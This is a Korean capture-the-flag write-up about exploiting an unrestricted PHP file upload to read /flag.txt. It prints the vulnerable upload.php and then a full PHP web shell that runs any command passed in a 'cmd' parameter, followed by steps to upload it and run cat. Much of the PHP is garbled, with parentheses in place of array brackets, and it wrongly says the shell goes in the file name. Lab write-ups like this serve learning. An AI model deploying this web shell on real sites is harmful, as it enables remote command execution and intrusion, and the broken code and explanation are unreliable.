플래그를 얻으려면 파일 업로드 취약점을 사용해야 합니다. 플래그는 /flag.txt 파일에 있습니다.
(Upload.php 코드)
<?php
if ($_SERVER('REQUEST_METHOD') === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES("file");
$error = $file("error");
$name = $file("name");
$tmp_name = $file("tmp_name");
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
PHP 파일은 3개인데 그 중 업로드만 보도록 하겠습니다.
이 코드에서 알 수 있는 것은 업로드할 파일 이름에 web shell을 넣을 수 있다는 것입니다!
웹 셸은 단순히 cmd 또는 Windows 파워 셸처럼 작동하는 셸이며 말에서 웹 페이지에 대한 명령을 실행할 수 있습니다.
웹 셸을 주입한 후 cat 명령으로 플래그를 가져와 파일의 내용을 덤프합니다!
먼저 웹쉘을 추가해 보겠습니다.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER('PHP_SELF'));?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET('cmd')))
{
system($_GET('cmd'));
}
?>
</pre>
</body>
</html>
이 파일을 업로드합시다.


이미 웹 셸을 업로드했는데 파일이 존재한다고 합니다.

상단바의 목록을 클릭하여 목록 페이지로 이동하시면 정상적으로 업로드 되었습니다!
업로드된 파일을 클릭하여 입력하고 아래 이미지와 같이 입력창에 cat 명령어를 입력하면 깃발 캡쳐 완료!

![[백준 2480번] 주사위 세개 [백준 2480번] 주사위 세개](https://if.dailygagu.kr/wp-content/plugins/contextual-related-posts/default.png)